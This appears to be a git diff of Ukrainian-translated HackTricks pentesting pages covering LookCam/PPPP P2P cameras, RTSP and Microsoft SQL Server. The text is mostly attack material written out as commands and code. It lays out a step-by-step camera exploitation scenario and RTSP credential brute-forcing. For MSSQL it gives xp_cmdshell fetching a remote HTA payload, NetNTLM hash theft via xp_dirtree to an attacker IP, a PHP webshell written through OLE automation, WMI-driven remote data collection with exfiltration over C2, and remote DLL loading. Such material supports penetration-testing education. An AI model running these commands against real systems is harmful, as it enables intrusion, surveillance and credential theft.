Багато прошивок бренду LookCam завантажують записи на api.l040z.com (apicn.l040z.com для BHCC) виключно по HTTP. Спостереження:
- У прошивці немає TLS; транспорт — відкритий HTTP.
- API “authentication” — тільки device-ID: будь-хто, хто знає ID, може отримати записи.
- Розбивка на шматки по 5 MiB жорстко прописана.
- Віддалене увімкнення: при завантаженні пристрій звертається до http://api.l040z.com/camera/signurl; відповідь сервера вирішує, чи починаються завантаження. Мобільний додаток може показувати cloud “disabled” навіть коли завантаження відбуваються. Третя сторона може придбати/увімкнути cloud для чужого ID та таємно збирати відео.
Це класична передача чутливих даних у відкритому вигляді (cleartext sensitive transmission) (CWE-319) з відсутньою server-side authZ.
## Перебір і вгадування Device-ID
- Формат ID: PREFIX-######-CCCCC та скорочена форма в додатку (наприклад, GHBB-000001-NRLXW → G000001NRLXW).
- Сімейства префіксів: BHCC (hekai servers), FHBB і GHBB (mykj servers). Кожний префікс відповідає трьом rendezvous серверам для HA.
- 5-литерний верифікатор використовує алфавіт з 22 великих літер (букви A, I, O, Q виключені) → 22^5 ≈ 5.15M комбінацій на числову основу.
- Попередні дослідження виявили відсутність server-side rate-limiting, що робить розподілене вгадування практичним. Алгоритм верифікації спеціальний і, ймовірно, піддається вгадуванню або отриманню шляхом реверсу додатків/прошивки.
Практичні джерела ID:
- Відображається у офіційних додатках і часто leaked у скриншотах/відео користувачів.
- SSID у режимі AP дорівнює device ID; багато пристроїв відкривають open AP під час onboarding.
## Примусове забезпечення віддаленої доступності
Деякі прошивки перезавантажуються в циклі, доки rendezvous servers не стануть доступні. Якщо egress заблокований, пристрій залишатиметься в циклі перезавантажень, фактично змушуючи власників залишити його Internet-reachable та відкритим для PPPP rendezvous.
## Практичний сценарій експлуатації (для repro/тестування захисту)
1) Отримати device ID
- З UI додатка або AP SSID; інакше перебрати PREFIX+номер і brute простір 22^5 верифікатора.
2) Встановити PPPP сесію
- Використати CS2 PPPP client або власний код; витягнути списки IP серверів та init keys з init string додатка; спробувати UDP hole punching; при невдачі перейти на relay.
3) Обійти auth
- Пропустити LoginDev або ігнорувати його результат; відправляти operational JSON напряму.
4) Екзфільтрувати файли / визначити геолокацію
- Відправити {"cmd":"searchWiFiList"}; потім DownloadFile "/tmp/wifi_scan.txt"; відправити BSSIDs до geolocation API.
5) Досягти RCE
- Відправити cmd > 255 байт, щоб викликати stack overflow; побудувати ROP/ret2libc або вкинути shellcode (немає canary/DEP/ASLR).
6) Доступ до cloud
- Взаємодіяти з endpoint'ами api.l040z.com, використовуючи лише device ID; зверніть увагу на 5 MiB chunking; увімкнення cloud контролюється /camera/signurl незалежно від стану UI додатка.
## Суміжні протоколи/сервіси
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,34 +4,34 @@
## Основна інформація
З [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
За даними [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> **Протокол потокового відео в реальному часі** (**RTSP**) - це протокол управління мережею, розроблений для використання в системах розваг і зв'язку для контролю серверів потокового медіа. Протокол використовується для встановлення та контролю медіа-сесій між кінцевими точками. Клієнти медіа-серверів видають команди у стилі VHS, такі як відтворення, запис і пауза, щоб полегшити реальний контроль над медіа-потоком від сервера до клієнта (Video On Demand) або від клієнта до сервера (Voice Recording).
> The **Real Time Streaming Protocol** (**RTSP**) — це мережевий протокол керування, розроблений для використання в розважальних та комунікаційних системах для контролю серверів потокового медіа. Протокол використовується для встановлення та керування медіа-сеансами між кінцевими точками. Клієнти медіа-серверів відправляють команди у стилі VHS, такі як play, record і pause, щоб забезпечити керування в реальному часі потоковою передачею медіа зі сервера до клієнта (Video On Demand) або від клієнта до сервера (Voice Recording).
>
> Передача потокових даних сама по собі не є завданням RTSP. Більшість RTSP серверів використовують Протокол передачі в реальному часі (RTP) у поєднанні з Протоколом контролю в реальному часі (RTCP) для доставки медіа-потоку. Однак деякі постачальники реалізують власні транспортні протоколи. Програмне забезпечення RTSP сервера від RealNetworks, наприклад, також використовує власний протокол Real Data Transport (RDT) від RealNetworks.
> Передача самих потокових даних не є завданням RTSP. Більшість RTSP-серверів використовують Real-time Transport Protocol (RTP) у поєднанні з Real-time Control Protocol (RTCP) для доставки медіа-потоків. Однак деякі виробники реалізують пропрієтарні транспортні протоколи. Наприклад, програмне забезпечення RTSP-сервера від RealNetworks також використовувало пропрієтарний Real Data Transport (RDT).
**Порт за замовчуванням:** 554,8554
**Порти за замовчуванням:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Ключові деталі
**RTSP** подібний до HTTP, але спеціально розроблений для потокового медіа. Він визначений у простій специфікації, яку можна знайти тут:
**RTSP** схожий на HTTP, але розроблений спеціально для медіатрансляцій. Він описаний у простій специфікації, яку можна знайти тут:
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Пристрої можуть дозволяти **неаутентифікований** або **аутентифікований** доступ. Щоб перевірити, надсилається запит "DESCRIBE". Основний приклад наведено нижче:
Пристрої можуть дозволяти **доступ без автентифікації** або **з автентифікацією**. Щоб перевірити, надсилається запит "DESCRIBE". Нижче наведено простий приклад:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
Пам'ятайте, що правильне форматування включає подвійну "\r\n" для послідовної відповіді. Відповідь "200 OK" вказує на **неаутентифікований доступ**, тоді як "401 Unauthorized" сигналізує про необхідність аутентифікації, вказуючи, чи потрібна **Basic** або **Digest authentication**.
Пам'ятайте, правильне форматування включає подвійний "\r\n" для послідовної відповіді. Відповідь "200 OK" вказує на **доступ без автентифікації**, тоді як "401 Unauthorized" сигналізує про необхідність автентифікації, показуючи, чи потрібна **Basic** або **Digest authentication**.
Для **Basic authentication** ви кодуєте ім'я користувача та пароль у base64 і включаєте його в запит ось так:
Для **Basic authentication** ви кодуєте ім'я користувача та пароль у base64 і додаєте їх у запит ось так:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
Цей приклад використовує "admin" і "1234" для облікових даних. Ось **Python script** для надсилання такого запиту:
У цьому прикладі використовуються "admin" і "1234" як облікові дані. Ось **Python-скрипт** для відправлення такого запиту:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**Базова аутентифікація** є простішою і переважною. **Дайджест-аутентифікація** вимагає обережного поводження з деталями аутентифікації, наданими у відповіді "401 Unauthorized".
**Basic authentication** простіший і рекомендований. **Digest authentication** вимагає уважного опрацювання деталей аутентифікації, що надаються у відповіді "401 Unauthorized".
Цей огляд спрощує процес доступу до RTSP потоків, зосереджуючись на **Базовій аутентифікації** через її простоту та практичність у початкових спробах.
Цей огляд спрощує процес доступу до RTSP streams, зосереджуючись на **Basic authentication** через її простоту та практичність під час початкових спроб.
## Перерахування
## Enumeration
Давайте отримати інформацію про дійсні методи та URL, які підтримуються, і спробувати брутфорсити доступ (якщо потрібно), щоб отримати доступ до вмісту.
Зберемо інформацію про те, які методи та URLs підтримуються, і, за потреби, спробуємо brute-force доступ, щоб отримати доступ до контенту.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### Перегляд RTSP потоку за допомогою [ffplay](https://ffmpeg.org/ffplay.html)
Якщо ви виявили дійсний RTSP шлях (наприклад, `/mpeg4`, `/live.sdp`) і підтвердили доступ (без аутентифікації або з обліковими даними), ви можете використовувати `ffplay` для потокового відео:
#### Перегляд RTSP-потоку за допомогою [ffplay](https://ffmpeg.org/ffplay.html)
Після того, як ви виявили дійсний RTSP-шлях (наприклад, `/mpeg4`, `/live.sdp`) і підтвердили доступ (без автентифікації або з обліковими даними), ви можете використати `ffplay` для трансляції потоку:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: Використовуйте TCP замість UDP для більш надійного потокового відео
- `-x`, `-y`: Додаткові параметри для контролю роздільної здатності відео
- Замініть `<IP>` та шлях за потребою
- `-rtsp_transport tcp`: Використовуйте TCP замість UDP для більш надійної трансляції
- `-x`, `-y`: Опціональні прапорці для керування роздільною здатністю відео
- Замініть `<IP>` та шлях за потреби
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **Інші корисні програми**
Щоб здійснити брутфорс: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- Виявляйте відкриті RTSP хости на будь-якій доступній цілі
- Отримуйте їхню публічну інформацію (ім'я хоста, порт, модель камери тощо)
- Запускайте автоматизовані атаки словником, щоб отримати їхній маршрут потоку (наприклад, /live.sdp)
- Запускайте автоматизовані атаки словником, щоб отримати ім'я користувача та пароль камер
- Генеруйте ескізи з них, щоб перевірити, чи є потоки дійсними, і щоб швидко переглянути їхній вміст
- Спробуйте створити конвеєр Gstreamer, щоб перевірити, чи правильно вони закодовані
- Друкуйте підсумок усієї інформації, яку може отримати Cameradar
- Виявляє відкриті RTSP-хости на будь-якій доступній цілі
- Отримує їхню публічну інформацію (hostname, port, camera model, тощо)
- Запускає автоматизовані dictionary attacks, щоб отримати маршрут потоку (наприклад /live.sdp)
- Запускає автоматизовані dictionary attacks для отримання username і password камер
- Генерує thumbnails з них, щоб перевірити, чи дійсні потоки, і отримати швидкий попередній перегляд їхнього вмісту
- Спробувати створити Gstreamer pipeline, щоб перевірити, чи вони правильно закодовані
- Вивести підсумок усієї інформації, яку Cameradar зміг отримати
## References
### Див. також
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## Посилання
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

View File

@ -6,33 +6,33 @@
З [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** є **системою управління реляційними базами даних**, розробленою компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на одному комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).
> **Microsoft SQL Server** — це **реляційна база даних** система управління, розроблена Microsoft. Як сервер бази даних, це програмний продукт, головною функцією якого є збереження та отримання даних за запитом інших програмних додатків — які можуть працювати або на тому ж комп'ютері, або на іншому комп'ютері через мережу (включаючи Інтернет).
**Порт за замовчуванням:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Типові системні таблиці MS-SQL**
### **Системні таблиці MS-SQL за замовчуванням**
- **master Database**: Ця база даних є критично важливою, оскільки вона фіксує всі системні деталі для екземпляра SQL Server.
- **msdb Database**: SQL Server Agent використовує цю базу даних для управління розкладом сповіщень та завдань.
- **model Database**: Використовується як шаблон для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колація, модель відновлення та інше, відображаються в новостворених базах даних.
- **Resource Database**: База даних тільки для читання, яка містить системні об'єкти, що постачаються з SQL Server. Ці об'єкти, хоча фізично зберігаються в базі даних Resource, логічно представлені в схемі sys кожної бази даних.
- **tempdb Database**: Використовується як тимчасова область зберігання для транзитних об'єктів або проміжних наборів результатів.
- **master Database**: Ця база даних є критичною, оскільки зберігає всі системні відомості для екземпляру SQL Server.
- **msdb Database**: SQL Server Agent використовує цю базу для керування розкладом оповіщень та завдань.
- **model Database**: Виконує роль шаблону для кожної нової бази даних на екземплярі SQL Server — будь-які зміни, як-от розмір, collation, recovery model і т.д., повторюються в новостворених базах.
- **Resource Database**: База даних тільки для читання, яка містить системні об'єкти, що постачаються з SQL Server. Хоча ці об'єкти фізично зберігаються в Resource database, вони логічно представлені в sys schema кожної бази даних.
- **tempdb Database**: Використовується як тимчасове сховище для тимчасових об'єктів або проміжних наборів результатів.
## Перерахування
### Автоматичне перерахування
Якщо ви нічого не знаєте про сервіс:
Якщо ви нічого не знаєте про цю службу:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Якщо у вас **немає облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача.
> Якщо ви **не** **маєте credentials**, можете спробувати їх вгадати. Можна використовувати nmap або metasploit. Будьте обережні, ви можете **block accounts**, якщо кілька разів невдало виконаєте login, використовуючи наявне ім'я користувача.
#### Metasploit (потрібні облікові дані)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -64,11 +64,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Брутфорс**](../../generic-hacking/brute-force.md#sql-server)
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### Ручна енумерація
#### Логін
#### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Загальне перерахування
#### Поширена Enumeration
```sql
# Get version
select @@version;
@ -154,16 +154,16 @@ order by name;
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Отримання дозволів
#### Отримати дозволи
1. **Securable:** Визначається як ресурси, які керуються SQL Server для контролю доступу. Вони класифікуються на:
- **Сервер** Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі.
- **База даних** Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів.
- **Схема** Включає таблиці, подання, процедури, функції, синоніми тощо.
2. **Permission:** Пов'язане з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
- **Рівень сервера** за допомогою логінів
- **Рівень бази даних** за допомогою користувачів
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
1. **Об'єкт доступу:** Визначається як ресурси, якими керує SQL Server для контролю доступу. Вони класифікуються на:
- **Сервер** Прикладами є бази даних, логіни, кінцеві точки, групи доступності та ролі сервера.
- **База даних** Прикладами є ролі бази даних, ролі застосунків, схема, сертифікати, повнотекстові каталоги та користувачі.
- **Схема** Включає таблиці, представлення, процедури, функції, синоніми тощо.
2. **Дозвіл:** Пов'язаний з об'єктами доступу SQL Server; дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані суб'єкту. Управління дозволами відбувається на двох рівнях:
- **Рівень сервера** — на рівні сервера за допомогою логінів
- **Рівень бази даних** — на рівні бази даних за допомогою користувачів
3. **Суб'єкт:** Цей термін означає сутність, якій надається дозвіл на об'єкт доступу. Суб'єкти здебільшого включають логіни та користувачів бази даних. Контроль доступу до об'єктів доступу здійснюється шляхом надання або відмови в дозволах або через включення логінів і користувачів до ролей, які мають права доступу.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## Трюки
### Виконання команд ОС
> [!CAUTION]
> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
> Зверніть увагу, що для можливості виконувати команди необхідно не лише щоб **`xp_cmdshell`** була **увімкнена**, але й щоб була надана **EXECUTE permission on the `xp_cmdshell` stored procedure**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
>
> ```sql
> Use master
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Отримати захешовані паролі
### WMI-based remote SQL collection (sqlcmd + CSV export)
Оператори можуть pivot з IIS/app tier до SQL Servers, використовуючи WMI для виконання невеликого batch, який аутентифікується в MSSQL і виконує adhoc queries, експортує результати у CSV. Це робить збір простим і маскується під адміністративну активність.
Приклад mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Виконайте це віддалено за допомогою WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Альтернатива PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Примітки
- sqlcmd може бути відсутнім; використовуйте натомість osql, PowerShell Invoke-Sqlcmd або однорядковий скрипт з використанням System.Data.SqlClient.
- Уважно працюйте з лапками; довгі/складні запити легше подавати через файл або як аргумент, закодований в Base64 і розкодований всередині batch/PowerShell stub.
- Exfil the CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) або стисніть і перемістіть через ваш C2.
### Отримати хешовані паролі
```bash
SELECT * FROM master.sys.syslogins;
```
### Вкрасти NetNTLM хеш / Атака реле
### Викрасти NetNTLM hash / Relay attack
Вам слід запустити **SMB сервер**, щоб захопити хеш, що використовується в аутентифікації (`impacket-smbserver` або `responder`, наприклад).
Вам слід запустити **SMB server**, щоб перехопити hash, що використовується під час аутентифікації (`impacket-smbserver` або `responder`, наприклад).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Ви можете перевірити, хто (окрім sysadmins) має дозволи на виконання цих функцій MSSQL за допомогою:
> Ви можете перевірити, хто (крім sysadmins) має дозволи на виконання цих функцій MSSQL за допомогою:
>
> ```sql
> Use master;
@ -274,16 +306,18 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Використовуючи інструменти, такі як **responder** або **Inveigh**, можливо **викрасти хеш NetNTLM**.\
Ви можете побачити, як використовувати ці інструменти в:
Використовуючи інструменти, такі як **responder** або **Inveigh**, можна **вкрасти NetNTLM hash**.\
Детально про використання цих інструментів дивіться у:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Зловживання довіреними посиланнями MSSQL
### Зловживання MSSQL trusted Links
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживати цією функцією:**
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживати цією функцією:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -291,7 +325,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **Запис файлів**
Щоб записати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає прав адміністратора, а потім виконати кілька збережених процедур для створення файлу:
Щоб записувати файли за допомогою `MSSQL`, ми **потребуємо увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає admin privileges, а потім виконати деякі stored procedures для створення файлу:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -309,13 +343,13 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Прочитати файл за допомогою** OPENROWSET
### **Читання файлу за допомогою** OPENROWSET
За замовчуванням `MSSQL` дозволяє читати файли **на будь-якому файлі в операційній системі, до якого обліковий запис має доступ для читання**. Ми можемо використовувати наступний SQL запит:
За замовчуванням `MSSQL` дозволяє **читати будь-які файли в операційній системі, до яких обліковий запис має доступ для читання**. Ми можемо використати наступний SQL-запит:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Однак опція **`BULK`** вимагає дозволу **`ADMINISTER BULK OPERATIONS`** або **`ADMINISTER DATABASE BULK OPERATIONS`**.
Однак опція **`BULK`** потребує дозволу **`ADMINISTER BULK OPERATIONS`** або **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
@ -324,9 +358,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Читання файлів виконуючи скрипти (Python та R)**
### **RCE/Читання файлів та виконання скриптів (Python and R)**
MSSQL може дозволити вам виконувати **скрипти на Python та/або R**. Цей код буде виконуватись **іншим користувачем**, ніж той, хто використовує **xp_cmdshell** для виконання команд.
MSSQL може дозволити вам виконувати **скрипти на Python та/або R**. Ці скрипти виконуватимуться іншим **користувачем**, ніж той, хто використовує **xp_cmdshell** для виконання команд.
Приклад спроби виконати **'R'** _"Hellow World!"_ **не працює**:
@ -348,9 +382,9 @@ GO
```
### Читання реєстру
Microsoft SQL Server надає **багато розширених збережених процедур**, які дозволяють вам взаємодіяти не лише з мережею, але й з файловою системою та навіть з [**реєстром Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server надає **multiple extended stored procedures**, які дозволяють взаємодіяти не лише з мережею, а й із файловою системою та навіть з [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Звичайні** | **Обізнані про екземпляр** |
| **Звичайні** | **Залежні від екземпляра** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -371,21 +405,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Для **більше прикладів** перегляньте [**оригінальне джерело**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE з MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Можливо **завантажити .NET dll в MSSQL з користувацькими функціями**. Однак це **вимагає доступу `dbo`**, тому вам потрібне з'єднання з базою даних **як `sa` або з роллю адміністратора**.
Можна **завантажити .NET dll у MSSQL за допомогою custom functions**. Проте це **вимагає доступу `dbo`**, тож потрібне підключення до бази даних **як `sa` або роль Administrator**.
[**Перейдіть за цим посиланням**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), щоб побачити приклад.
### RCE з `autoadmin_task_agents`
### RCE with `autoadmin_task_agents`
Згідно[ **з цим постом**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll і змусити MSSQL виконати його за допомогою чогось на зразок:
Згідно з [**цією публікацією**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll та змусити MSSQL виконати його за допомогою чогось на кшталт:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
З:
Будь ласка, вставте вміст файлу README.md або текст, який потрібно перекласти.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -437,13 +471,13 @@ public void Test()
```
### Інші способи для RCE
Існують інші методи отримання виконання команд, такі як додавання [розширених збережених процедур](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR збірок](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [завдань агента SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) та [зовнішніх скриптів](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Існують інші методи отримати виконання команд, такі як додавання [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), та [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Підвищення привілеїв MSSQL
## MSSQL Privilege Escalation
### Від db_owner до sysadmin
### Від `db_owner` до `sysadmin`
Якщо **звичайному користувачу** надано роль **`db_owner`** над **базою даних, що належить адміністратору** (такому як **`sa`**) і ця база даних налаштована як **`trustworthy`**, цей користувач може зловживати цими привілеями для **privesc**, оскільки **збережені процедури**, створені там, можуть **виконуватися** від імені власника (**адміністратора**).
Якщо **звичайному користувачу** призначено роль **`db_owner`** для **бази даних, що належить адміністратору** (наприклад, **`sa`**) і ця база налаштована як **`trustworthy`**, цей користувач може зловживати цими привілеями для **privesc**, оскільки **stored procedures**, створені в ній, можуть **execute** від імені власника (**адміністратора**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,7 +511,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Ви можете використовувати модуль **metasploit**:
Ви можете використати модуль **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -487,9 +521,9 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Імітація інших користувачів
### Імперсонація інших користувачів
SQL Server має спеціальний дозвіл, названий **`IMPERSONATE`**, який **дозволяє виконуючому користувачу приймати права іншого користувача** або входу, поки контекст не буде скинуто або сесія не закінчиться.
